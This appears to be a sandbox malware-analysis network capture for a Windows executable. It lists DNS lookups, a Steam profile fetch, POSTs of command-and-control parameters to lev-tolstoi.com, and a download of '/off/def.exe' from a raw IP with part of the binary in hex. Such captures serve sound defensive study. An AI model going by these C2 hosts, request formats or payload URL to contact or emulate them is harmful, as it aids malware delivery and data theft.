Dec 28, 2024 09:56:28.400696039 CET	1.1.1.1	192.168.2.11	0x35da	Name error (3)	screwamusresz.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.585860968 CET	1.1.1.1	192.168.2.11	0xe9df	Name error (3)	appliacnesot.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.747118950 CET	1.1.1.1	192.168.2.11	0xc22f	Name error (3)	cashfuzysao.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:28.889350891 CET	1.1.1.1	192.168.2.11	0xf219	Name error (3)	hummskitnj.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:29.032418966 CET	1.1.1.1	192.168.2.11	0x64fc	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:31.880760908 CET	1.1.1.1	192.168.2.11	0xeef2	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:56:31.880760908 CET	1.1.1.1	192.168.2.11	0xeef2	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:57:11.809930086 CET	1.1.1.1	192.168.2.11	0xb0ef	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:57:11.809937000 CET	1.1.1.1	192.168.2.11	0x12d3	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 28, 2024 09:57:15.600708008 CET	1.1.1.1	192.168.2.11	0x2ac1	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:15.600708008 CET	1.1.1.1	192.168.2.11	0x2ac1	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:15.600708008 CET	1.1.1.1	192.168.2.11	0x2ac1	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:15.600708008 CET	1.1.1.1	192.168.2.11	0x2ac1	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:57:15.870091915 CET	1.1.1.1	192.168.2.11	0x3257	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:15.870091915 CET	1.1.1.1	192.168.2.11	0x3257	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:15.879825115 CET	1.1.1.1	192.168.2.11	0x3f04	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:15.999459982 CET	1.1.1.1	192.168.2.11	0xca53	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:15.999459982 CET	1.1.1.1	192.168.2.11	0xca53	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:15.999459982 CET	1.1.1.1	192.168.2.11	0xca53	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:57:18.808008909 CET	1.1.1.1	192.168.2.11	0x6bf0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:18.808008909 CET	1.1.1.1	192.168.2.11	0x6bf0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:18.808008909 CET	1.1.1.1	192.168.2.11	0x6bf0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:57:18.808018923 CET	1.1.1.1	192.168.2.11	0x72d4	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:26.696516991 CET	1.1.1.1	192.168.2.11	0x32e0	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:57:26.705943108 CET	1.1.1.1	192.168.2.11	0xfed5	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49771	185.215.113.16	80	7364	C:\Users\user\Desktop\TdloJt4gY3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 28, 2024 09:56:54.372005939 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 28, 2024 09:56:55.758657932 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Dec 2024 08:56:54 GMT Content-Type: application/octet-stream Content-Length: 2787840 Last-Modified: Sat, 28 Dec 2024 08:16:29 GMT Connection: keep-alive ETag: "676fb3dd-2a8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 a7 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +:+`Ui`D @ @ @.rsrcD``@.idata f@xgbpctqr)h@vgxupmxs d@.taggant@"h*@
Dec 28, 2024 09:56:55.758682966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:56:55.758691072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:56:55.758791924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:56:55.758799076 CET	496	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:56:55.758949041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:56:55.758994102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:56:55.759000063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:56:55.759124041 CET	1236	IN	Data Raw: 1f f7 68 fd 1f 15 45 00 20 0f 73 e5 19 0f 6d fb f7 1c 6d fd 21 21 62 fd 1f 1f 45 ed 1f 0f 73 8f d6 0f 6d 8d ad 70 6d fd af 21 b2 fc 1f 1f 45 ec 1f 0f 73 8f 56 0f 6d 8d ad f0 6d fd af 21 26 fc 1f 1f 45 ec 1f 0f 73 8f da 0e 6d 8d ad c1 6e fd af 21 Data Ascii: hE smm!!bEsmpm!EsVmm!&Esmn!&Esmo!&Esmn!&Esm5o!&Esmo!&EsMm6p!&Esml!!Eshml!!#ml!!
Dec 28, 2024 09:56:55.759130955 CET	1236	IN	Data Raw: 1e 45 ed 3a 1d f0 6d ab 9f 2e 6f de 1e 45 ed 7b 1f f0 6d ab 9f 48 6e de 1e 45 ed e5 1d f0 6d ab 9f 7d 6f de 1e 15 73 e7 23 ff 6d ab 9f 36 6f da 1e 45 ed b7 1e f4 6d ab 9f 9c 6e da 1e 45 ed 9d 1e f4 6d ab 9f 47 6f da 1e 45 ed 2e 20 f4 6d ab 9f 3f Data Ascii: E:m.oE{mHnEm}os#m6oEmnEmGoE. m?mEtmmEmpEP mupE2 mrm!n\qm7$nqmng?Mm{tfmmuZmmmlfmm} ~M"mmmlfmm
Dec 28, 2024 09:56:55.879054070 CET	1236	IN	Data Raw: 1f d2 6e e3 1f 40 6d 52 1f fd 6c b6 1f 6c 6e e3 1f 30 6d 30 1f fd 6c a6 1f 14 6f e3 1f 20 6d e9 1d 50 6d 96 1f 74 6d be 1f 19 6d 5a 20 30 6d 96 1f 74 6d 9e 1f 19 6d 5a 20 30 6d 7e 20 4d 6f 1e 20 98 6d 5a 20 10 6e 86 20 74 6d de 1e 98 6d 5a 20 50 Data Ascii: n@mRlln0m0lo mPmtmmZ 0mtmmZ 0m~ Mo mZ n tmmZ Pn tmnnnnlBme_mmmm"mmmm#mm$mlmm@$mmh$mmmmmmmemmmm#mmmm

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49707	23.55.153.106	443	7364	C:\Users\user\Desktop\TdloJt4gY3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:56:30 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-28 08:56:31 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 28 Dec 2024 08:56:31 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=ce9d6428d0c1d491bcee1500; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-28 08:56:31 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-28 08:56:31 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-28 08:56:31 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49709	172.67.157.254	443	7364	C:\Users\user\Desktop\TdloJt4gY3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:56:33 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-28 08:56:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-28 08:56:33 UTC	1123	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:56:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7munief8fq4q4g746c3fnf58sh; expires=Wed, 23 Apr 2025 02:43:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=to%2FsNdWaMl8ppQOlep0Gh87KR3f53ebnuHDfiorIxrFxUhlsdKKHRv3f3kI4k2cLa2LZJEMgb%2BSg8DckdhF3lcVhOdx5s7cDLuSB0IHAwOJ7b%2FBZPwb9Lv658kc2YDEibkc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f905678ed006a4e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1771&min_rtt=1766&rtt_var=673&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1613259&cwnd=202&unsent_bytes=0&cid=d91f878ddfa8bea0&ts=784&x=0"
2024-12-28 08:56:33 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-28 08:56:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49715	172.67.157.254	443	7364	C:\Users\user\Desktop\TdloJt4gY3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:56:35 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: lev-tolstoi.com
2024-12-28 08:56:35 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-28 08:56:36 UTC	1124	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:56:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qvuvkvgin7qr1hh1fev10n5trg; expires=Wed, 23 Apr 2025 02:43:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uS8xpU8rsNEZ3IPsoRRFWcba%2BjrgjW3AyfXzpFsMpoEfKi4KplALXqHUhYXXfSovTzMQzyIHe3TNAgMz9wDbXcmGMbYA%2FqdkTmqII8Mpjhd5Zl%2FTNRBjO7Wa2P2qGa1Z4Yw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9056873b104304-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1681&rtt_var=637&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=952&delivery_rate=1710603&cwnd=248&unsent_bytes=0&cid=80cc736e9bc67d00&ts=1103&x=0"
2024-12-28 08:56:36 UTC	245	IN	Data Raw: 31 34 38 39 0d 0a 61 4f 45 62 49 52 54 30 71 64 66 7a 2b 7a 4b 38 69 34 7a 6b 6d 6c 70 46 6a 4d 76 45 71 62 41 69 44 4e 36 4c 67 65 45 66 50 53 34 54 77 32 30 44 4c 73 43 46 39 59 43 65 45 49 62 2f 2f 70 48 2f 64 6d 66 74 72 2b 61 54 31 6b 4e 67 72 65 36 74 77 32 6c 51 44 46 4b 48 65 6b 31 6e 6b 59 58 31 6c 6f 4d 51 68 74 44 33 78 76 38 30 5a 37 62 70 6f 63 50 53 51 32 43 38 36 75 71 4f 62 31 46 4e 41 49 31 38 53 58 47 58 7a 62 61 66 6c 6c 66 5a 37 75 32 4f 39 44 4d 6f 35 4b 62 6d 68 5a 4a 48 64 76 79 78 6f 36 78 36 53 55 38 6c 67 47 68 4b 4e 6f 6d 46 72 4e 47 65 58 4a 36 78 72 6f 58 2f 4f 43 6e 71 72 36 2f 42 32 45 70 6f 76 65 2f 72 6b 58 5a 62 52 67 43 44 66 30 68 37 6e 74 6d 37 6c 5a 46 63 33 2b 54 74 78 72 5a 34 49 50 62 Data Ascii: 1489aOEbIRT0qdfz+zK8i4zkmlpFjMvEqbAiDN6LgeEfPS4Tw20DLsCF9YCeEIb//pH/dmftr+aT1kNgre6tw2lQDFKHek1nkYX1loMQhtD3xv80Z7bpocPSQ2C86uqOb1FNAI18SXGXzbafllfZ7u2O9DMo5KbmhZJHdvyxo6x6SU8lgGhKNomFrNGeXJ6xroX/OCnqr6/B2Epove/rkXZbRgCDf0h7ntm7lZFc3+TtxrZ4IPb
2024-12-28 08:56:36 UTC	1369	IN	Data Raw: 70 2f 6f 75 42 63 6d 32 74 2b 50 61 4f 62 56 6b 4d 46 63 31 67 41 33 47 61 69 2b 33 52 6b 56 7a 51 37 4f 32 4a 2f 7a 6b 6e 2f 4b 61 6d 79 4e 70 49 61 72 62 6d 37 49 78 7a 56 55 73 43 69 6e 35 4d 63 5a 37 4e 75 70 4c 5a 48 70 37 75 39 73 61 67 65 41 66 2b 71 71 58 66 33 31 45 75 6f 36 66 36 77 33 70 54 44 46 4c 44 66 30 31 33 6d 38 75 6e 6d 5a 4a 62 32 2f 76 6c 6a 2f 55 31 4a 2b 4f 6a 71 63 6a 53 52 32 53 32 35 75 6d 48 63 46 4a 4b 43 6f 4d 35 44 54 61 52 30 2f 58 4a 32 58 50 62 2b 65 6d 4b 37 6e 6f 64 72 72 62 6f 30 70 4a 48 59 76 79 78 6f 34 74 34 58 45 38 42 6a 48 70 4c 66 59 54 4c 70 35 65 55 56 63 7a 76 36 34 6a 79 4f 7a 58 6b 70 36 44 49 32 30 74 6e 75 65 37 6e 77 7a 4d 66 53 78 4c 44 49 51 4e 58 6d 38 43 35 6d 34 35 51 6e 76 61 67 6e 37 67 2f 4b 36 Data Ascii: p/ouBcm2t+PaObVkMFc1gA3Gai+3RkVzQ7O2J/zkn/KamyNpIarbm7IxzVUsCin5McZ7NupLZHp7u9sageAf+qqXf31Euo6f6w3pTDFLDf013m8unmZJb2/vlj/U1J+OjqcjSR2S25umHcFJKCoM5DTaR0/XJ2XPb+emK7nodrrbo0pJHYvyxo4t4XE8BjHpLfYTLp5eUVczv64jyOzXkp6DI20tnue7nwzMfSxLDIQNXm8C5m45Qnvagn7g/K6
2024-12-28 08:56:36 UTC	1369	IN	Data Raw: 33 30 77 75 38 71 6e 6b 6d 7a 30 48 44 43 43 41 62 55 42 38 31 50 36 32 6e 35 64 58 79 4b 6e 78 79 4f 46 34 49 4f 4c 70 2f 6f 76 66 51 57 61 36 2b 2b 79 4f 66 6c 46 43 42 59 5a 32 53 33 61 57 78 72 43 56 6b 6c 76 64 35 4f 71 55 38 6a 67 76 36 36 69 73 77 5a 49 4f 4c 72 76 78 6f 39 73 39 62 6c 73 42 77 55 78 41 65 4a 6a 4d 6f 39 47 47 48 73 65 70 36 59 71 34 59 47 66 6a 6f 61 50 4f 33 55 46 6b 73 75 7a 70 6a 33 56 52 54 78 69 4d 66 55 4e 36 6e 73 47 34 6e 35 31 59 31 2b 4c 6c 67 50 67 35 4c 61 37 6e 35 73 7a 4b 41 44 62 38 33 65 53 50 63 46 41 4f 50 34 42 33 54 58 47 41 69 36 72 66 67 42 44 5a 35 61 37 65 75 44 51 75 37 71 4b 73 7a 39 4a 48 59 37 6e 71 35 49 42 77 57 45 59 45 68 48 31 50 66 35 76 4e 74 5a 61 64 56 63 7a 73 35 34 72 30 65 47 6d 75 72 72 36 Data Ascii: 30wu8qnkmz0HDCCAbUB81P62n5dXyKnxyOF4IOLp/ovfQWa6++yOflFCBYZ2S3aWxrCVklvd5OqU8jgv66iswZIOLrvxo9s9blsBwUxAeJjMo9GGHsep6Yq4YGfjoaPO3UFksuzpj3VRTxiMfUN6nsG4n51Y1+LlgPg5La7n5szKADb83eSPcFAOP4B3TXGAi6rfgBDZ5a7euDQu7qKsz9JHY7nq5IBwWEYEhH1Pf5vNtZadVczs54r0eGmurr6
2024-12-28 08:56:36 UTC	1369	IN	Data Raw: 72 76 6c 6f 39 73 39 56 6b 55 59 6a 58 64 4b 65 35 44 44 73 70 2b 55 57 39 6a 69 36 59 48 2b 4e 53 2f 6a 72 4b 58 4b 31 6b 70 38 76 2b 4c 70 6a 6e 63 66 41 6b 71 45 59 51 4d 75 31 75 79 35 75 49 6c 4c 7a 50 2b 75 6d 62 59 68 5a 2b 6d 6c 35 70 4f 53 51 32 47 31 35 75 75 4c 63 6c 42 49 42 49 56 2f 54 6e 4f 5a 77 61 65 5a 6c 31 33 56 35 75 57 55 2b 44 55 6a 34 71 32 75 77 4e 67 41 49 50 7a 75 2b 38 4d 6c 48 33 6b 48 6a 48 6c 41 59 4e 62 55 2b 34 6a 5a 56 39 4b 70 74 73 62 30 4e 69 66 68 70 61 72 41 32 6b 46 69 73 75 37 6d 69 6e 56 58 58 67 75 48 63 55 4a 34 6d 63 71 78 6c 4a 78 55 32 65 33 6f 69 62 68 32 5a 2b 6d 78 35 70 4f 53 62 30 6d 4a 71 38 4b 35 50 55 41 43 45 38 4e 2b 54 7a 62 4f 69 37 6d 53 6c 56 6a 52 37 2b 65 4b 38 6a 45 73 34 71 4b 69 78 39 74 46 